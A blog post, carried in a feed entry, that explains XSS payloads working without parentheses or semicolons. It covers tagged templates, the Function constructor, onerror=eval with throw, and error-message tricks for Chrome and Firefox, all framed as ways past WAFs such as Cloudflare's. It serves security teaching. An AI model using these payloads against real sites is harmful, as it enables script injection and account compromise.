    <link href="https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/"/>
    <id>https://blog.huli.tw/2025/09/15/en/xss-without-semicolon-and-parentheses/</id>
    <published>2025-09-14T20:50:00.000Z</published>
    <updated>2025-09-15T05:42:31.235Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I received an email from a reader asking if I could write an article explaining <a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a>, saying that the payloads in it were hard to understand.</p><p>Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:</p><ol><li><a href="https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses">XSS technique without parentheses</a></li><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">XSS without parentheses and semi-colons</a></li></ol><span id="more"></span><h2><span id="why-do-we-need-such-payloads">Why do we need such payloads?</span></h2><p>Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.</p><p>Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.</p><h2><span id="starting-with-no-parentheses">Starting with no parentheses</span></h2><p>In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?</p><h3><span id="tagged-template-strings">Tagged template strings</span></h3><p>The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as <a href="https://github.com/porsager/postgres?tab=readme-ov-file#usage">Postgres.js</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getUsersOver</span><span class="token punctuation">(</span><span class="token parameter">age</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> users <span class="token operator">=</span> <span class="token keyword">await</span> sql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">    select      name,      age    from users    where age > </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span> age <span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">  </span><span class="token template-punctuation string">`</span></span>  <span class="token comment">// users = Result [&#123; name: "Walter", age: 80 &#125;, &#123; name: 'Murray', age: 68 &#125;, ...]</span>  <span class="token keyword">return</span> users<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?</p><p>If only template strings were used, then indeed it would be, but note that there is an additional <code>sql</code> at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>args</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>args<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'huli'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">!!!</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'good'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">~~</span><span class="token template-punctuation string">`</span></span><span class="token comment">// [['Hello ', '!!!', '~~'], 'huli', 'good']</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.</p><p>The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.</p><p>Using this concept, we can write an XSS payload that does not require parentheses:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">test</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: <code>fetch(url, &#123; method:&#39;POST&#39;&#125;)</code>, and the method above would have the second parameter as an array, causing fetch to throw an error and not run.</p><p>To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: <a href="https://blog.huli.tw/2020/12/01/en/write-conosle-log-1-without-alphanumeric/">How to write console.log(1) without using letters and numbers?</a> or <a href="https://blog.huli.tw/2021/06/07/en/xss-challenge-by-intigriti-writeup-may/">Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code</a>, but I will briefly introduce it here.</p><p>In JavaScript, you can dynamically create a function using <code>new Function(code)</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>And that <code>new</code> is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+1)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a) &#123; alert(a+1) &#125;</span><span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">,</span> <span class="token string">'b'</span><span class="token punctuation">,</span> <span class="token string">'alert(a+b)'</span><span class="token punctuation">)</span><span class="token comment">// anonymous(a,b) &#123; alert(a+b) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.</p><p>Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous() &#123; alert(1) &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>So how do we execute this created function? It’s simple; just use the same method again:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Add two backticks at the end, just like the previously mentioned alert`1` usage</span><span class="token comment">// Added an extra space to avoid Markdown parser issues, but it works the same either way</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert(1)</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>Since <code>alert(1)</code> inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// it's actually just alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">alert\u00281\u0029</span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This way, the entire payload does not use any parentheses but can still execute arbitrary code!</p><p>This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span> <span class="token comment">// ['_', '']</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span> <span class="token comment">// hello</span><span class="token punctuation">&#125;</span>test<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable <code>hello</code>.</p><p>Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// anonymous(_,) &#123; hello &#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>Thus, this <code>hello</code> is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, <code>location.hash</code> returns the hash from the URL like <code>#test</code>, and by adding <code>slice(1)</code>, we can remove the preceding <code>#</code>, combined it becomes:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// start from this</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token string">'hello'</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// then using location.hash.slice(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// replace slice(1) with ``</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token comment">// add `` to run the function</span><span class="token comment">// remember to set the hash to #alert(1)</span>Function<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">_</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>hash<span class="token punctuation">.</span>slice<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token template-punctuation string">`</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.</p><h3><span id="onerror-event">onerror Event</span></h3><p>All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.</p><p>In a browser environment, by using <code>window.onerror</code>, we can receive all uncaught error events:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Err:'</span> <span class="token operator">+</span> err<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span class="token comment">// Err:Uncaught hello</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to <code>onerror</code> when executed directly in the console), so please open an HTML to test.</p><p>In short, the above code tells us that in Chrome, the captured error message will be <code>Uncaught hello</code>.</p><p>So what if we directly replace <code>onerror</code> with <code>alert</code>?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'hello'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>You will directly see a popup saying <code>Uncaught hello</code>. The above payload does not use any parentheses and achieves the purpose of executing a function.</p><p>Further extending this, we can replace <code>onerror</code> with <code>eval</code>, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with <code>eval</code>?</p><p>Since the captured error message will be: <code>Uncaught &#123;payload&#125;</code>, this entire sentence will be treated as code to execute, so as long as we replace the payload with: <code>=alert(1)</code>, the whole sentence becomes: <code>Uncaught=alert(1)</code>, using <code>Uncaught</code> in the error message as a variable, thus forming valid code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If you still don’t understand the principle, replacing <code>eval</code> with <code>console.log</code> makes it very clear:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> console<span class="token punctuation">.</span>log<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert(1)'</span><span class="token punctuation">;</span><span class="token comment">// Uncaught =alert(1)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Next, since the string follows <code>throw</code>, we can also use encoding to replace it, using <code>\x28</code> or <code>\u0028</code> will work:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror <span class="token operator">=</span> eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token string">'=alert\x281\u0029'</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>This constructs a payload that does not require parentheses.</p><h2><span id="further-eliminating-semicolons">Further Eliminating Semicolons</span></h2><p>Tagged template strings no longer require semicolons, so let’s continue along the path of <code>onerror</code> to see how to eliminate semicolons.</p><p>A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>But after running it, you’ll find an error: <code>Uncaught SyntaxError: Unexpected token &#39;throw&#39;</code>. This is because <code>throw</code> is not an expression but a statement, so it cannot be placed after a comma; we need another method.</p><p>In JavaScript, even if you don’t use <code>if</code> or other code that requires a block, you can create your own block to wrap the code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the <code>let</code> or <code>const</code> keywords, allowing variables to only exist within that block.</p><p>By utilizing a block, you can achieve the goal of separating code without needing semicolons:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>onerror<span class="token operator">=</span>alert<span class="token punctuation">&#125;</span><span class="token keyword">throw</span> <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>In addition to using blocks, there are other cooler methods.</p><p>First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment">// 1</span><span class="token comment">// true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The expressions in <code>if</code> will sequentially execute <code>console.log(1)</code>, <code>alert(1)</code>, and finally return true, so the result of the <code>if</code> is valid, printing true.</p><p>And <code>throw</code> can be followed by an expression, so you can:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>alert<span class="token punctuation">,</span><span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This will first execute <code>onerror=alert</code>, then execute <code>throw 1</code>, achieving the same effect as our method using <code>&#123;&#125;</code>. This is another way that doesn’t require semicolons.</p><p>The Chrome part ends here; the following is all efforts made for Firefox.</p><p>In Firefox, when there is an error, the format of the error message is different:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing <code>onerror</code> with <code>eval</code> no longer works.</p><p>So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just <code>Error:</code>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>Since <code>Label:</code> is valid code in JavaScript, you can directly place code after it, making it easy:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, using <code>Error()</code> introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.</p><p>Recently, I saw Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">tweet</a> that Firefox is going to remove this feature: <a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>, so he found a new method:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.</p><h2><span id="other-payloads">Other payloads</span></h2><p>There are other payloads mentioned by others in the original post.</p><p>The first one comes from <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>Because it is connected by commas, the part that gets thrown will be the last segment.</p><p>Let’s start with the last segment. What does <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> do?</p><p>First, <code>a</code> is <code>URL+0</code>, and <code>URL</code> is a global function. The function + 0 will become a string, so <code>a</code> is <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>, thus <code>a[12]</code> and <code>a[13]</code> are <code>(</code> and <code>)</code> respectively.</p><p>The <code>/1/g</code> is a regexp, and when it becomes a string, it will be <code>&quot;/1/g&quot;</code>. As for the array <code>[1337,3331,117]</code>, when converted to a string, it will call <code>join</code>, resulting in <code>&quot;1337,3331,117&quot;</code>.</p><p>Putting it all together, <code>/1/g+a[12]+[1337,3331,117]+a[13]</code> will be <code>/1/g(1337,3331,117)</code>.</p><p>Combined with what was mentioned earlier, the error message thrown will be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Here, the <code>/</code> was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., <code>a / b / c</code>, where <code>a</code> is <code>Uncaught</code>, <code>b</code> is <code>1</code>, and <code>c</code> is <code>g(1337,3331,117)</code>.</p><p>If <code>Uncaught</code> is not declared, it will throw an error, which is why <code>Uncaught=1</code> is needed. Then <code>g</code> will be treated as a function, so <code>g=alert</code>.</p><p>What about the first line <code>/a/</code>? This is likely just to prevent a space between <code>throw</code> and the subsequent payload, and it doesn’t serve any other purpose.</p><p>The essence of this solution lies in making the error message become <code>Uncaught /1/g(1337,3331,117)</code> when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function <code>g</code>.</p><p>The second one comes from <a href="https://x.com/cgvwzq">@cgvwzq</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This is actually divided into two statements. The first statement is: <code>TypeError.prototype.name =&#39;=/&#39;</code>, which forcibly changes the name of <code>TypeError</code> to <code>=/</code>.</p><p>Without this line, the error message for <code>0[0][&#39;test&#39;]</code> would be: <code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code>.</p><p><code>0[0]</code> will be undefined, and <code>undefined[&#39;test&#39;]</code> will throw this TypeError.</p><p>After we forcibly change the name:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>We can control the original part of <code>TypeError</code> to become any string.</p><p>The other statement <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code> simply places the assignment inside <code>[]</code>. After the assignment, it is equivalent to <code>0[eval]</code>, which will return undefined, thus throwing a TypeError.</p><p>Let’s look at it another way, with the following code:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>The error message generated in Chrome would be:</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Now the problem becomes how to control the string above to make the error message a valid piece of code?</p><p>In place of <code>&#123;1&#125;</code>, the author placed <code>=/</code>, resulting in <code>Uncaught=/</code>. This <code>/</code> actually means regexp, so the idea of this method is to make the string before <code>&#123;2&#125;</code> (<code>: can&#39;t access property &quot;</code> ) become part of the regexp.</p><p>Thus, the beginning of <code>&#123;2&#125;</code> is <code>/</code>, forming a regexp with the preceding part, and then using <code>-alert(1)</code> to execute the function. It can also be changed to <code>+alert(1)</code>, as it just needs to string the two operations together. After execution, the subsequent code is all commented out with <code>//</code>, so it can be ignored.</p><p>However, if you actually run the above payload, you will find that Chrome returns the error message: <code>Invalid regular expression ... Unterminated group</code>. This is because there is a <code>(</code> in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a <code>)</code> to fix it:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>The generated error message will be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>A simplified version would be:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token 